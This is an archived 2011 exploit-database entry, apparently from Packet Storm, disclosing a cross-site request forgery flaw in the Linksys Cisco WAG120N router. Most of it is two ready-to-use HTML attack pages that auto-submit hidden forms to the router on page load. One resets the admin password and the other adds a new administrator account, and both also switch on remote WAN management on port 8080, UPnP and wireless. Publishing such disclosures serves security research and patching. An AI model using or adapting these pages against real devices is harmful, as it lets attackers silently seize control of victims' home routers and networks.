exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linksys Cisco Wag120n Cross Site Request Forgery

Linksys Cisco Wag120n Cross Site Request Forgery
Posted Feb 25, 2011
Authored by IRCRASH, Khashayar Fereidani | Site ircrash.com

The Linksys Cisco Wag120n suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
systems | cisco
SHA-256 | dd16115896453d01f25228f86f2b3ddaef343f8a7937d67e06a50aa3bf8827de
Download | Favorite | View

Linksys Cisco Wag120n Cross Site Request Forgery

Change Mirror Download
----------------------------------------------------------------
Hardware : Linksys Cisco Wag120n(And perhaps similar versions)
Type of vunlnerability : CSRF ( Change Admin Password And Add User )
Risk of use : High
----------------------------------------------------------------
Producer Website : http://linksysbycisco.com
----------------------------------------------------------------
Discovered by : Khashayar Fereidani
Team Website : Http://IRCRASH.COM
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim
English Forums : Http://IRCRASH.COM/forums/
Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------

CSRF For Change Admin Password :
#Use sysPasswd and sysConfirmPasswd to set new password

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="1">

<input type="hidden" name="h_user_list" value="1">

<input type="hidden" name="sysname" value="admin">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="no">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">



</form>
</body>
</html>

----------------------------------------------------------------

CSRF For Add Administrator User:
#Use sysPasswd and sysConfirmPasswd to set new password
#if you add new user you should set pass_is_none=yes

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://192.168.1.1/setup.cgi";

method="POST" name="form">

<input type="hidden" name="user_list" value="2">

<input type="hidden" name="h_user_list" value="2">

<input type="hidden" name="sysname" value="ircrash">

<input type="hidden" name="sysPasswd" value="password">

<input type="hidden" name="sysConfirmPasswd" value="password">

<input type="hidden" name="remote_management" value="enable">
<input type="hidden" name="http_wanport" value="8080">

<input type="hidden" name="upnp_enable" value="enable">

<input type="hidden" name="wlan_enable" value="enable">

<input type="hidden" name="igmp_proxy_enable" value="enable">

<input type="hidden" name="save" value="Save+Settings">

<input type="hidden" name="h_pwset" value="yes">

<input type="hidden" name="sysname_changed" value="yes">

<input type="hidden" name="pwchanged" value="yes">

<input type="hidden" name="pass_is_default" value="false">

<input type="hidden" name="h_remote_management" value="enable">

<input type="hidden" name="pass_is_none" value="yes">

<input type="hidden" name="h_upnp_enable" value="enable">

<input type="hidden" name="h_wlan_enable" value="enable">

<input type="hidden" name="h_igmp_proxy_enable" value="enable">

<input type="hidden" name="todo" value="save">

<input type="hidden" name="this_file" value="Administration.htm">

<input type="hidden" name="next_file" value="Administration.htm">

<input type="hidden" name="message" value="">

<input type="hidden" name="h_wps_cur_status" value="">



</form>
</body>
</html>

----------------------------------------------------------------
Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close